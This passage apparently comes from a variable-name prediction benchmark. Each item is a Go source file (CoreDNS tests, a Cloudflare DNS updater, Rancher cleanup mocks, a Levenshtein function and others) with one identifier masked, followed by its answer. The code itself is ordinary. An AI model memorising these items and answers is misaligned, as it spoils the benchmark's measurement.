range timezones { loc, err := time.LoadLocation(tzdb) if err != nil { w.WriteHeader(http.StatusNotFound) w.Write([]byte(fmt.Sprintf(""invalid timezone %s in input"", tzdb))) return } now := time.Now().In(loc) [MASK] [tzdb] = now.String() } w.Header().Add(""Content-Type"", ""application/json"") json.NewEncoder(w).Encode( [MASK] ) } } ",response 466,"package k8sdeployment import ( ""os/exec"" ""strings"" ""testing"" ""github.com/coredns/ci/test/kubernetes"" ) func TestConfigMapTranslation(t *testing.T) { stubdata := `{""abc.com"" : [""1.2.3.4:5300"",""4.4.4.4""], ""my.cluster.local"" : [""2.3.4.5:5300""]}` upstreamdata := `[""8.8.8.8"", ""8.8.4.4""]` [MASK] := `.:53 { errors health { lameduck 5s } ready kubernetes cluster.local 10.96.0.0/8 172.17.0.0/16 { fallthrough in-addr.arpa ip6.arpa } prometheus :9153 forward . 8.8.8.8 8.8.4.4 { max_concurrent 1000 } cache 30 loop reload loadbalance } abc.com:53 { errors cache 30 loop forward . 1.2.3.4:5300 { max_concurrent 1000 } } my.cluster.local:53 { errors cache 30 loop forward . 2.3.4.5:5300 { max_concurrent 1000 } } ` err := kubernetes.LoadKubednsConfigmap(stubdata, upstreamdata) if err != nil { t.Fatalf(""Could not load corefile: %s"", err) } // Apply Corefile translation via coredns/deployment deployment script cmd := exec.Command(""sh"", ""-c"", "" ~/go/src/${CIRCLE_PROJECT_USERNAME}/deployment/kubernetes/deploy.sh -s -i 10.96.0.10 -r 10.96.0.0/8 -r 172.17.0.0/16 | kubectl delete --ignore-not-found=true -f -"") cmdout, err := cmd.CombinedOutput() if err != nil { t.Fatalf(""failed to delete deployment objects: %s\nerr: %s"", string(cmdout), err) } cmd = exec.Command(""sh"", ""-c"", "" ~/go/src/${CIRCLE_PROJECT_USERNAME}/deployment/kubernetes/deploy.sh -i 10.96.0.10 -r 10.96.0.0/8 -r 172.17.0.0/16 | kubectl apply --overwrite=true -f -"") cmdout, err = cmd.CombinedOutput() if err != nil { t.Fatalf(""deployment script failed: %s\nerr: %s"", string(cmdout), err) } corefileTranslated, err := kubernetes.Kubectl(""-n kube-system get configmap coredns -ojsonpath={.data.Corefile}"") if err != nil { t.Fatalf(""error fetching translated corefile: %s"", err) } if strings.Compare(corefileTranslated, [MASK] ) != 0 { t.Fatalf(""failed test: Translation does not match.\nGOT:\n"" + corefileTranslated + ""\n\nEXPECTED:\n"" + [MASK] ) } // Clean-up by removing kube-dns ConfigMap _, err = kubernetes.Kubectl(""-n kube-system delete cm kube-dns"") if err != nil { t.Fatalf(""error deleting kube-dns ConfigMap: %s"", err) } } ",corefileExpected 467,"package main import ( ""encoding/json"" ""errors"" ""fmt"" ""log"" ""net/http"" ""os"" ""time"" ""github.com/cloudflare/cloudflare-go"" ) var ( zoneName = os.Getenv(""ZONE_NAME"") subDomain = os.Getenv(""SUB_DOMAIN"") apiKey = os.Getenv(""CF_API_KEY"") apiEmail = os.Getenv(""CF_API_EMAIL"") ) // GetPublicIP // https://ip.seeip.org func GetPublicIP() (string, error) { resp, err := http.Get(""https://ip.seeip.org/json"") if err != nil { return """", err } defer resp.Body.Close() var body map[string]string err = json.NewDecoder(resp.Body).Decode(&body) if err != nil { return """", err } ip, ok := body[""ip""] if ok { return ip, nil } return """", errors.New(""not found"") } func job(api *cloudflare.API, id string, record cloudflare.DNSRecord) { // 获取外网IP地址 ip, err := GetPublicIP() if err != nil { log.Println(err) return } log.Printf(""ip %s \n"", ip) // 查询DNS记录是否存在 [MASK] , err := api.DNSRecords(id, record) if err != nil { log.Println(err) return } rr := [MASK] [0] log.Printf(""Name %s ,Content %s\n"", rr.Name, rr.Content) // 不存在插入 if len( [MASK] ) == 0 { res, err := api.CreateDNSRecord(id, record) if err != nil { log.Println(err) } fmt.Println(res) return } if rr.Content != ip { // 加一个IP是否更改的判断 record.Content = ip err := api.UpdateDNSRecord(id, rr.ID, record) if err != nil { log.Println(err) } log.Printf(""UpdateDNSRecord success \n"") } } func main() { // https://api.cloudflare.com/ // https://pkg.go.dev/github.com/cloudflare/cloudflare-go // https://github.com/cloudflare/cloudflare-go // 获取cloudflare存储结果 api, err := cloudflare.New(apiKey, apiEmail) if err != nil { log.Fatal(err) } // Fetch the zone ID id, err := api.ZoneIDByName(zoneName) // Assuming example.com exists in your Cloudflare account already if err != nil { log.Fatal(err) } record := cloudflare.DNSRecord{ Type: ""A"", Name: subDomain, TTL: 120, } ticker := time.NewTicker(15 * time.Second) for { select { case <-ticker.C: log.Println(""run job"") go job(api, id, record) } } } ",records 468,"package cleanup import ( ""crypto/md5"" ""encoding/hex"" ""errors"" ""fmt"" ""strings"" ""testing"" ""time"" v3 ""github.com/rancher/rancher/pkg/apis/management.cattle.io/v3"" ""github.com/rancher/rancher/pkg/auth/providers/common"" ""github.com/rancher/rancher/pkg/auth/tokens"" client ""github.com/rancher/rancher/pkg/client/generated/management/v3"" controllers ""github.com/rancher/rancher/pkg/generated/controllers/management.cattle.io/v3"" v1 ""github.com/rancher/rancher/pkg/generated/norman/core/v1"" ""github.com/rancher/rancher/pkg/generated/norman/core/v1/fakes"" ""github.com/stretchr/testify/assert"" ""github.com/stretchr/testify/require"" corev1 ""k8s.io/api/core/v1"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/labels"" apitypes ""k8s.io/apimachinery/pkg/types"" ""k8s.io/apimachinery/pkg/watch"" ) func TestRunCleanup(t *testing.T) { var [MASK] = map[string]*v3.GlobalRoleBinding{ ""azure"": { ObjectMeta: metav1.ObjectMeta{Name: ""azure""}, GroupPrincipalName: ""azuread_group://mygroup"", }, ""ping"": { ObjectMeta: metav1.ObjectMeta{Name: ""ping""}, GroupPrincipalName: ""ping_group://mygroup"", }, } var projectRoleTemplateBindingStore = map[string]*v3.ProjectRoleTemplateBinding{ ""local:azure"": { ObjectMeta: metav1.ObjectMeta{Name: ""azure"", Namespace: ""local""}, GroupPrincipalName: ""azuread_group://mygroup"", }, ""local:ping"": { ObjectMeta: metav1.ObjectMeta{Name: ""ping"", Namespace: ""local""}, GroupPrincipalName: ""ping_group://mygroup"", }, } var clusterRoleTemplateBindingStore = map[string]*v3.ClusterRoleTemplateBinding{ ""local:azure"": { ObjectMeta: metav1.ObjectMeta{Name: ""ping"", Namespace: ""local""}, GroupPrincipalName: ""azuread_group://mygroup"", }, ""local:ping"": { ObjectMeta: metav1.ObjectMeta{Name: ""ping"", Namespace: ""local""}, GroupPrincipalName: ""ping_group://mygroup"", }, } var userStore = map[string]*v3.User{ ""alice"": { ObjectMeta: metav1.ObjectMeta{Name: ""alice""}, PrincipalIDs: []string{""azuread_group://alice""}, }, ""bob"": { ObjectMeta: metav1.ObjectMeta{Name: ""bob""}, PrincipalIDs: []string{""local://bob""}, }, ""rick"": { ObjectMeta: metav1.ObjectMeta{Name: ""rick""}, PrincipalIDs: []string{""azuread_group://rick"", ""local://rick""}, Password: """", }, } var secretStore = map[string]*v1.Secret{ ""cattle-system:oauthSecretName"": { ObjectMeta: metav1.ObjectMeta{ Name: ""oauthSecretName"", Namespace: tokens.SecretNamespace, }, Type: corev1.SecretTypeOpaque, Data: map[string][]byte{ ""azuread"": []byte(""my user token""), }, }, ""cattle-global-data:azureadconfig-applicationsecret"": { ObjectMeta: metav1.ObjectMeta{ Name: fmt.Sprintf(""%s-%s"", strings.ToLower(client.AzureADConfigType), client.AzureADConfigFieldApplicationSecret), Namespace: common.SecretsNamespace, }, }, ""cattle-global-data:azuread-access-token"": { ObjectMeta: metav1.ObjectMeta{ Name: fmt.Sprintf(""%s-%s"", strings.ToLower(""azuread""), ""access-token""), Namespace: common.SecretsNamespace, }, }, ""foo:regular-secret"": { ObjectMeta: metav1.ObjectMeta{ Name: ""regular secret"", Namespace: ""foo"", }, }, } svc := newMockCleanupService( [MASK] , projectRoleTemplateBindingStore, clusterRoleTemplateBindingStore, userStore, secretStore, ) cfg := v3.AuthConfig{ ObjectMeta: metav1.ObjectMeta{ Name: ""azuread"", }, Type: client.AzureADConfigType, Enabled: false, } err := svc.Run(&cfg) require.NoError(t, err) assert.Len(t, [MASK] , 1) assert.Len(t, clusterRoleTemplateBindingStore, 1) assert.Len(t, projectRoleTemplateBindingStore, 1) assert.Len(t, userStore, 2) assert.Len(t, secretStore, 1) for _, user := range userStore { require.Lenf(t, user.PrincipalIDs, 1, ""every user after cleanup must have only one principal ID, got %d"", len(user.PrincipalIDs)) principalID := user.PrincipalIDs[0] assert.Truef(t, strings.HasPrefix(principalID, ""local""), ""the only principal ID has 'local' as a prefix, got %s"", principalID) } } func newMockCleanupService( grbStore map[string]*v3.GlobalRoleBinding, prtbStore map[string]*v3.ProjectRoleTemplateBinding, crtbStore map[string]*v3.ClusterRoleTemplateBinding, userStore map[string]*v3.User, secretStore map[string]*v1.Secret) Service { return Service{ secretsInterface: getSecretInterfaceMock(secretStore), globalRoleBindingsCache: mockGlobalRoleBindingCache{grbStore}, globalRoleBindingsClient: mockGlobalRoleBindingClient{grbStore}, projectRoleTemplateBindingsCache: mockProjectRoleTemplateBindingCache{prtbStore}, projectRoleTemplateBindingsClient: mockProjectRoleTemplateBindingClient{prtbStore}, clusterRoleTemplateBindingsCache: mockClusterRoleTemplateBindingCache{crtbStore}, clusterRoleTemplateBindingsClient: mockClusterRoleTemplateBindingClient{crtbStore}, userCache: mockUserCache{userStore}, userClient: mockUserClient{userStore}, } } type mockGlobalRoleBindingCache struct { store map[string]*v3.GlobalRoleBinding } func (m mockGlobalRoleBindingCache) Get(name string) (*v3.GlobalRoleBinding, error) { return m.store[name], nil } func (m mockGlobalRoleBindingCache) List(_ labels.Selector) ([]*v3.GlobalRoleBinding, error) { var lst []*v3.GlobalRoleBinding for _, v := range m.store { lst = append(lst, v) } return lst, nil } func (m mockGlobalRoleBindingCache) AddIndexer(_ string, _ controllers.GlobalRoleBindingIndexer) { panic(""not implemented"") } func (m mockGlobalRoleBindingCache) GetByIndex(_, _ string) ([]*v3.GlobalRoleBinding, error) { panic(""not implemented"") } type mockGlobalRoleBindingClient struct { store map[string]*v3.GlobalRoleBinding } func (m mockGlobalRoleBindingClient) Create(_ *v3.GlobalRoleBinding) (*v3.GlobalRoleBinding, error) { panic(""not implemented"") } func (m mockGlobalRoleBindingClient) Update(_ *v3.GlobalRoleBinding) (*v3.GlobalRoleBinding, error) { panic(""not implemented"") } func (m mockGlobalRoleBindingClient) Delete(name string, _ *metav1.DeleteOptions) error { delete(m.store, name) return nil } func (m mockGlobalRoleBindingClient) Get(_ string, _ metav1.GetOptions) (*v3.GlobalRoleBinding, error) { panic(""not implemented"") } func (m mockGlobalRoleBindingClient) List(_ metav1.ListOptions) (*v3.GlobalRoleBindingList, error) { panic(""not implemented"") } func (m mockGlobalRoleBindingClient) Watch(_ metav1.ListOptions) (watch.Interface, error) { panic(""not implemented"") } func (m mockGlobalRoleBindingClient) Patch(_ string, _ apitypes.PatchType, _ []byte, _ ...string) (result *v3.GlobalRoleBinding, err error) { panic(""not implemented"") } type mockProjectRoleTemplateBindingCache struct { store map[string]*v3.ProjectRoleTemplateBinding } func (m mockProjectRoleTemplateBindingCache) Get(namespace, name string) (*v3.ProjectRoleTemplateBinding, error) { return m.store[namespace+"":""+name], nil } func (m mockProjectRoleTemplateBindingCache) List(_ string, _ labels.Selector) ([]*v3.ProjectRoleTemplateBinding, error) { var lst []*v3.ProjectRoleTemplateBinding for _, v := range m.store { lst = append(lst, v) } return lst, nil } func (m mockProjectRoleTemplateBindingCache) AddIndexer(_ string, _ controllers.ProjectRoleTemplateBindingIndexer) { panic(""not implemented"") } func (m mockProjectRoleTemplateBindingCache) GetByIndex(_, _ string) ([]*v3.ProjectRoleTemplateBinding, error) { panic(""not implemented"") } type mockProjectRoleTemplateBindingClient struct { store map[string]*v3.ProjectRoleTemplateBinding } func (m mockProjectRoleTemplateBindingClient) Create(_ *v3.ProjectRoleTemplateBinding) (*v3.ProjectRoleTemplateBinding, error) { panic(""not implemented"") } func (m mockProjectRoleTemplateBindingClient) Update(_ *v3.ProjectRoleTemplateBinding) (*v3.ProjectRoleTemplateBinding, error) { panic(""not implemented"") } func (m mockProjectRoleTemplateBindingClient) Delete(namespace, name string, _ *metav1.DeleteOptions) error { delete(m.store, namespace+"":""+name) return nil } func (m mockProjectRoleTemplateBindingClient) Get(namespace, name string, _ metav1.GetOptions) (*v3.ProjectRoleTemplateBinding, error) { return m.store[namespace+"":""+name], nil } func (m mockProjectRoleTemplateBindingClient) List(_ string, _ metav1.ListOptions) (*v3.ProjectRoleTemplateBindingList, error) { panic(""not implemented"") } func (m mockProjectRoleTemplateBindingClient) Watch(_ string, _ metav1.ListOptions) (watch.Interface, error) { panic(""not implemented"") } func (m mockProjectRoleTemplateBindingClient) Patch(_, _ string, _ apitypes.PatchType, _ []byte, _ ...string) (result *v3.ProjectRoleTemplateBinding, err error) { panic(""not implemented"") } type mockClusterRoleTemplateBindingCache struct { store map[string]*v3.ClusterRoleTemplateBinding } func (m mockClusterRoleTemplateBindingCache) Get(namespace, name string) (*v3.ClusterRoleTemplateBinding, error) { return m.store[namespace+"":""+name], nil } func (m mockClusterRoleTemplateBindingCache) List(_ string, _ labels.Selector) ([]*v3.ClusterRoleTemplateBinding, error) { var lst []*v3.ClusterRoleTemplateBinding for _, v := range m.store { lst = append(lst, v) } return lst, nil } func (m mockClusterRoleTemplateBindingCache) AddIndexer(_ string, _ controllers.ClusterRoleTemplateBindingIndexer) { panic(""not implemented"") } func (m mockClusterRoleTemplateBindingCache) GetByIndex(_, _ string) ([]*v3.ClusterRoleTemplateBinding, error) { panic(""not implemented"") } type mockClusterRoleTemplateBindingClient struct { store map[string]*v3.ClusterRoleTemplateBinding } func (m mockClusterRoleTemplateBindingClient) Create(_ *v3.ClusterRoleTemplateBinding) (*v3.ClusterRoleTemplateBinding, error) { panic(""not implemented"") } func (m mockClusterRoleTemplateBindingClient) Update(_ *v3.ClusterRoleTemplateBinding) (*v3.ClusterRoleTemplateBinding, error) { panic(""not implemented"") } func (m mockClusterRoleTemplateBindingClient) Delete(namespace, name string, _ *metav1.DeleteOptions) error { delete(m.store, namespace+"":""+name) return nil } func (m mockClusterRoleTemplateBindingClient) Get(_, _ string, _ metav1.GetOptions) (*v3.ClusterRoleTemplateBinding, error) { panic(""not implemented"") } func (m mockClusterRoleTemplateBindingClient) List(_ string, _ metav1.ListOptions) (*v3.ClusterRoleTemplateBindingList, error) { panic(""not implemented"") } func (m mockClusterRoleTemplateBindingClient) Watch(_ string, _ metav1.ListOptions) (watch.Interface, error) { panic(""not implemented"") } func (m mockClusterRoleTemplateBindingClient) Patch(_, _ string, _ apitypes.PatchType, _ []byte, _ ...string) (result *v3.ClusterRoleTemplateBinding, err error) { panic(""not implemented"") } type mockUserCache struct { store map[string]*v3.User } func (m mockUserCache) Get(name string) (*v3.User, error) { return m.store[name], nil } func (m mockUserCache) List(_ labels.Selector) ([]*v3.User, error) { var lst []*v3.User for _, v := range m.store { lst = append(lst, v) } return lst, nil } func (m mockUserCache) AddIndexer(_ string, _ controllers.UserIndexer) {} func (m mockUserCache) GetByIndex(_, _ string) ([]*v3.User, error) { panic(""not implemented"") } type mockUserClient struct { store map[string]*v3.User } func (m mockUserClient) Create(_ *v3.User) (*v3.User, error) { panic(""not implemented"") } func (m mockUserClient) Update(user *v3.User) (*v3.User, error) { m.store[user.Name] = user return user, nil } func (m mockUserClient) UpdateStatus(_ *v3.User) (*v3.User, error) { panic(""not implemented"") } func (m mockUserClient) Delete(name string, _ *metav1.DeleteOptions) error { delete(m.store, name) return nil } func (m mockUserClient) Get(_ string, _ metav1.GetOptions) (*v3.User, error) { panic(""not implemented"") } func (m mockUserClient) List(_ metav1.ListOptions) (*v3.UserList, error) { panic(""not implemented"") } func (m mockUserClient) Watch(_ metav1.ListOptions) (watch.Interface, error) { panic(""not implemented"") } func (m mockUserClient) Patch(_ string, _ apitypes.PatchType, _ []byte, _ ...string) (result *v3.User, err error) { panic(""not implemented"") } func getSecretInterfaceMock(store map[string]*corev1.Secret) v1.SecretInterface { secretInterfaceMock := &fakes.SecretInterfaceMock{} secretInterfaceMock.CreateFunc = func(secret *corev1.Secret) (*corev1.Secret, error) { if secret.Name == """" { uniqueIdentifier := md5.Sum([]byte(time.Now().String())) secret.Name = hex.EncodeToString(uniqueIdentifier[:]) } store[fmt.Sprintf(""%s:%s"", secret.Namespace, secret.Name)] = secret return secret, nil } secretInterfaceMock.ListNamespacedFunc = func(namespace string, opts metav1.ListOptions) (*corev1.SecretList, error) { var secrets []corev1.Secret for _, secret := range store { if secret.Namespace == namespace { secrets = append(secrets, *secret) } } return &corev1.SecretList{ Items: secrets, }, nil } secretInterfaceMock.GetNamespacedFunc = func(namespace string, name string, opts metav1.GetOptions) (*corev1.Secret, error) { secret, ok := store[fmt.Sprintf(""%s:%s"", namespace, name)] if ok { return secret, nil } return nil, errors.New(""secret not found"") } secretInterfaceMock.DeleteNamespacedFunc = func(namespace string, name string, options *metav1.DeleteOptions) error { delete(store, fmt.Sprintf(""%s:%s"", namespace, name)) return nil } return secretInterfaceMock } ",globalRoleBindingStore 469,"// // Information about the algorithm is available on Wikipedia // // https://en.wikipedia.org/wiki/Levenshtein_distance // package levenstein // Distance returns levenstein distance between two strings func Distance( [MASK] string, right string) int { if len( [MASK] ) == 0 { return len(right) } if len(right) == 0 { return len( [MASK] ) } var ( a []byte b []byte ) if len( [MASK] ) > len(right) { a = []byte( [MASK] ) b = []byte(right) } else { a = []byte(right) b = []byte( [MASK] ) } var ( prev int i1 int l1 int = len(b) + 1 i2 int l2 int = len(a) i3 int l3 int = len(b) f []int = make([]int, len(b)+1) ) pre: f[i1] = i1 i1++ if i1 < l1 { goto pre } outer: prev = f[0] f[0]++ inner: if f[i3+1] <= f[i3] && b[i3] != a[i2] && f[i3+1] > prev { prev, f[i3+1] = f[i3+1], prev+1 } else if f[i3+1] <= f[i3] && b[i3] != a[i2] { prev, f[i3+1] = f[i3+1], f[i3+1]+1 } else if f[i3+1] <= f[i3] && f[i3+1]+1 > prev { prev, f[i3+1] = f[i3+1], prev } else if f[i3+1] <= f[i3] { prev, f[i3+1] = f[i3+1], f[i3+1]+1 } else if b[i3] != a[i2] && f[i3] > prev { prev, f[i3+1] = f[i3+1], prev+1 } else if b[i3] != a[i2] { prev, f[i3+1] = f[i3+1], f[i3]+1 } else if f[i3]+1 > prev { prev, f[i3+1] = f[i3+1], prev } else { prev, f[i3+1] = f[i3+1], f[i3]+1 } i3++ if i3 != l3 { goto inner } i3 = 0 i2++ if i2 != l2 { goto outer } return f[len(f)-1] } ",left 470,"/* Copyright 2021 RadonDB. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package v1alpha1 import ( ""fmt"" apierrors ""k8s.io/apimachinery/pkg/api/errors"" ""k8s.io/apimachinery/pkg/api/resource"" ""k8s.io/apimachinery/pkg/runtime"" ""k8s.io/apimachinery/pkg/runtime/schema"" ctrl ""sigs.k8s.io/controller-runtime"" logf ""sigs.k8s.io/controller-runtime/pkg/log"" ""sigs.k8s.io/controller-runtime/pkg/webhook"" ) // log is for logging in this package. var mysqlclusterlog = logf.Log.WithName(""mysqlcluster-resource"") func (r *MysqlCluster) SetupWebhookWithManager(mgr ctrl.Manager) error { return ctrl.NewWebhookManagedBy(mgr). For(r). Complete() } // TODO(user): EDIT THIS FILE! THIS IS SCAFFOLDING FOR YOU TO OWN! // TODO(user): change verbs to ""verbs=create;update;delete"" if you want to enable deletion validation. //+kubebuilder:webhook:path=/validate-mysql-radondb-com-v1alpha1-mysqlcluster,mutating=false,failurePolicy=fail,sideEffects=None,groups=mysql.radondb.com,resources=mysqlclusters,verbs=create;update,versions=v1alpha1,name=vmysqlcluster.kb.io,admissionReviewVersions=v1 var _ webhook.Validator = &MysqlCluster{} // ValidateCreate implements webhook.Validator so a webhook will be registered for the type func (r *MysqlCluster) ValidateCreate() error { mysqlclusterlog.Info(""validate create"", ""name"", r.Name) // TODO(user): fill in your validation logic upon object creation. return nil } // ValidateUpdate implements webhook.Validator so a webhook will be registered for the type func (r *MysqlCluster) ValidateUpdate(old runtime.Object) error { mysqlclusterlog.Info(""validate update"", ""name"", r.Name) oldCluster, ok := old.(*MysqlCluster) if !ok { return apierrors.NewBadRequest(fmt.Sprintf(""expected an MysqlCluster but got a %T"", old)) } if err := r.validateVolumeSize(oldCluster); err != nil { return err } if err := r.validateLowTableCase(oldCluster); err != nil { return err } return nil } // ValidateDelete implements webhook.Validator so a webhook will be registered for the type func (r *MysqlCluster) ValidateDelete() error { mysqlclusterlog.Info(""validate delete"", ""name"", r.Name) // TODO(user): fill in your validation logic upon object deletion. return nil } // Validate volume size, forbidden shrink storage size. func (r *MysqlCluster) validateVolumeSize(oldCluster *MysqlCluster) error { oldStorageSize, err := resource.ParseQuantity(oldCluster.Spec.Persistence.Size) if err != nil { return err } [MASK] , err := resource.ParseQuantity(r.Spec.Persistence.Size) if err != nil { return err } // =1 means that old storage size is greater than new. if oldStorageSize.Cmp( [MASK] ) == 1 { return apierrors.NewForbidden(schema.GroupResource{}, """", fmt.Errorf(""volesize can not be decreased"")) } return nil } // Validate low table case for mysqlcluster. func (r *MysqlCluster) validateLowTableCase(oldCluster *MysqlCluster) error { oldmyconf := oldCluster.Spec.MysqlOpts.MysqlConf newmyconf := r.Spec.MysqlOpts.MysqlConf if r.Spec.MysqlVersion == ""8.0"" && oldmyconf[""lower_case_table_names""] != newmyconf[""lower_case_table_names""] { return apierrors.NewForbidden(schema.GroupResource{}, """", fmt.Errorf(""lower_case_table_names cannot be changed in MySQL8.0+"")) } return nil } ",newStorageSize 471,"package main import ( ""fmt"" ""io"" ""io/ioutil"" ""log"" ""net/http"" ""os"" ""github.com/afex/hystrix-go/hystrix"" ""github.com/gorilla/mux"" ) func main() { [MASK] := hystrix.NewStreamHandler() [MASK] .Start() router := mux.NewRouter().StrictSlash(true) router.HandleFunc(""/"", index) router.HandleFunc(""/stream"", [MASK] .ServeHTTP) log.Fatal(http.ListenAndServe(fmt.Sprintf("":%s"", os.Getenv(""PORT"")), router)) } func index(w http.ResponseWriter, req *http.Request) { hystrix.Do(""assign_guide"", assignGuide(w), fallback(w)) } func assignGuide(w io.Writer) func() error { return func() error { resp, err := http.Get(""http://company.cfapps.pez.pivotal.io/available"") if err != nil { return err } if resp.StatusCode != http.StatusOK { return fmt.Errorf(""Error requesting guide. HTTP %d"", resp.StatusCode) } guide, err := ioutil.ReadAll(resp.Body) resp.Body.Close() if err != nil { return err } fmt.Fprintf(w, ""Your guide will be: %s"", guide) return nil } } func fallback(w io.Writer) func(error) error { return func(error) error { fmt.Fprint(w, ""We will get back to you shortly."") return nil } } ",hystrixStreamHandler 472,"// inspired by https://github.com/go-functional/core package main import ( ""fmt"" ) type IntSliceFunctor interface { Fmap(fn func(int) int) IntSliceFunctor } type intSliceFunctorImpl struct { ints []int } func (isf intSliceFunctorImpl) Fmap(fn func(int) int) IntSliceFunctor { newInts := make([]int, len(isf.ints)) for i, elt := range isf.ints { retInt := fn(elt) newInts[i] = retInt } return intSliceFunctorImpl{ints: newInts} } func NewIntSliceFunctor(slice []int) IntSliceFunctor { return intSliceFunctorImpl{ints: slice} } func main() { // 原切片 intSlice := []int{1, 2, 3, 4} fmt.Printf(""init a functor from int slice: %#v\n"", intSlice) f := NewIntSliceFunctor(intSlice) fmt.Printf(""original functor: %+v\n"", f) [MASK] := func(i int) int { return i + 10 } mapped1 := f.Fmap( [MASK] ) fmt.Printf(""mapped functor1: %+v\n"", mapped1) mapperFunc2 := func(i int) int { return i * 3 } mapped2 := mapped1.Fmap(mapperFunc2) fmt.Printf(""mapped functor2: %+v\n"", mapped2) fmt.Printf(""original functor: %+v\n"", f) // 原functor没有改变 fmt.Printf(""composite functor: %+v\n"", f.Fmap( [MASK] ).Fmap(mapperFunc2)) } ",mapperFunc1 473,"package app import ( ""crypto/md5"" ""fmt"" ""github.com/bseib/sideload/config"" ""github.com/bseib/sideload/util"" ""io"" ""os"" ""path/filepath"" ""sort"" ""time"" ) type InclinationEnum int const ( NONE InclinationEnum = iota WILL_STORE InclinationEnum = iota WILL_RESTORE InclinationEnum = iota BOTH_MISSING InclinationEnum = iota ) type FileComparison struct { RelativeFile string HomeFile string ProjectFile string Inclination InclinationEnum } type ProjectFilesComparison struct { AllComparisons []FileComparison WouldRestore []FileComparison WouldStore []FileComparison WouldNothing []FileComparison BothMissing []FileComparison } type FileSituation struct { exists bool modTime time.Time md5Hash string } func md5Hash(file string) string { f, err := os.Open(file) if err != nil { util.Fatal(err) } defer f.Close() h := md5.New() if _, err := io.Copy(h, f); err != nil { util.Fatal(err) } return fmt.Sprintf(""%x"", h.Sum(nil)) } func getFileSituation(file string) FileSituation { stat, err := os.Stat(file) if os.IsNotExist(err) { return FileSituation{ exists: false, modTime: time.Time{}, md5Hash: """", } } else { return FileSituation{ exists: true, modTime: stat.ModTime(), md5Hash: md5Hash(file), } } } func GetFileComparison(relativeFile string, homeFile string, projectFile string) FileComparison { hfile := getFileSituation(homeFile) pfile := getFileSituation(projectFile) inclination := NONE if !hfile.exists && pfile.exists { inclination = WILL_STORE } else if hfile.exists && !pfile.exists { inclination = WILL_RESTORE } else if !hfile.exists && !pfile.exists { inclination = BOTH_MISSING } else if hfile.exists && pfile.exists { // both exist, dig deeper to infer inclination if hfile.md5Hash == pfile.md5Hash { inclination = NONE } else if hfile.modTime.Before(pfile.modTime) { inclination = WILL_STORE } else if hfile.modTime.After(pfile.modTime) { inclination = WILL_RESTORE } } return FileComparison{ RelativeFile: relativeFile, HomeFile: homeFile, ProjectFile: projectFile, Inclination: inclination, } } func CompareProjectFiles(sideloadConfig config.SideloadConfig) ProjectFilesComparison { fileList := sideloadConfig.ProjectConfig.Files.Track sort.Strings(fileList) allComparisons := make([]FileComparison, len(fileList)) for i, file := range fileList { homeFile := filepath.Join(sideloadConfig.HomeProjectDir, file) projectFile := filepath.Join(sideloadConfig.ProjectConfig.ProjectDir, file) comparison := GetFileComparison(file, homeFile, projectFile) allComparisons[i] = comparison } wouldRestore := FilterOfFileComparison(allComparisons, func(fc FileComparison) bool { return fc.Inclination == WILL_RESTORE }) wouldStore := FilterOfFileComparison(allComparisons, func(fc FileComparison) bool { return fc.Inclination == WILL_STORE }) [MASK] := FilterOfFileComparison(allComparisons, func(fc FileComparison) bool { return fc.Inclination == NONE }) bothMissing := FilterOfFileComparison(allComparisons, func(fc FileComparison) bool { return fc.Inclination == BOTH_MISSING }) return ProjectFilesComparison{ AllComparisons: allComparisons, WouldRestore: wouldRestore, WouldStore: wouldStore, WouldNothing: [MASK] , BothMissing: bothMissing, } } func FilterOfFileComparison(collection []FileComparison, keep func(FileComparison) bool) []FileComparison { newCollection := make([]FileComparison, len(collection)) j := 0 for _, v := range collection { if keep(v) { newCollection[j] = v j++ } } return newCollection[:j] } ",wouldNothing 474,"package main import ( ""crypto/rand"" ""fmt"" ""io/ioutil"" ""os"" ""strconv"" ""sync"" ) func main() { nArg := os.Getenv(""FILE_SIZE_MB"") [MASK] := os.Getenv(""GOROUTINES"") n, err := strconv.Atoi(nArg) if err != nil { panic(err) } p, err := strconv.Atoi( [MASK] ) if err != nil { panic(err) } fmt.Println(""Starting the test"") var wg sync.WaitGroup for { for i := 0; i < p; i++ { wg.Add(1) go func() { writeReadDelete(n) wg.Done() }() } wg.Wait() } } func writeReadDelete(mByteCount int) { f, err := ioutil.TempFile("""", ""testfile"") if err != nil { panic(err) } defer func() { f.Close() os.Remove(f.Name()) }() data := make([]byte, 1024) _, err = rand.Read(data) if err != nil { fmt.Printf(""Failed to generate random stuff. Error: %s\n"", err.Error()) panic(err) } for i := 0; i < mByteCount*1024; i++ { _, err = f.WriteAt(data, int64(i*1024)) if err != nil { fmt.Printf(""Failed to sync. Error: %s\n"", err.Error()) panic(err) } } err = f.Sync() if err != nil { fmt.Printf(""Failed to sync. Error: %s\n"", err.Error()) panic(err) } for i := 0; i < mByteCount*1024; i++ { _, err = f.ReadAt(data, int64(i*1024)) if err != nil { fmt.Printf(""Failed to read. Error: %s\n"", err.Error()) panic(err) } } err = f.Sync() if err != nil { fmt.Printf(""Failed to sync. Error: %s\n"", err.Error()) panic(err) } } ",pArg 475,"package common import ( ""image/color"" ""github.com/faiface/pixel/imdraw"" ) type Entity interface { GetVisual() imdraw.IMDraw } // MakeColorRamp produces a list of colors by interpolating // color values between a series of stops. // // `stops` must contain at least 2 colors, and `numColors` must be greater // than the number of stops. func MakeColorRamp(stops []color.RGBA, numColors int) []color.RGBA { if len(stops) < 2 { panic(""Invalid arguments. len(stops) must be >= 2."") } if len(stops) > numColors { panic(""Invalid arguments. More stops than number of desired colors."") } if len(stops) == numColors { return stops // why did the idiot even call the func? } ramp := []color.RGBA{} // num colors to add between each stop, and any remainders to distribute [MASK] := (numColors - len(stops)) / (len(stops) - 1) remainder := (numColors - len(stops)) % (len(stops) - 1) // go through pairs of stops, and interpolate the ramp in between for i := 0; i < len(stops)-1; i++ { cur, next := stops[i], stops[i+1] // add current stop to list ramp = append(ramp, cur) // create interpolated colors bewtween current and next stop. // first, distribute some of the remainder, if any extra := 0 if remainder > 0 { extra = 1 remainder-- } // calculate delta for each RGB component dR := (int(next.R) - int(cur.R)) / (1 + [MASK] + extra) dG := (int(next.G) - int(cur.G)) / (1 + [MASK] + extra) dB := (int(next.B) - int(cur.B)) / (1 + [MASK] 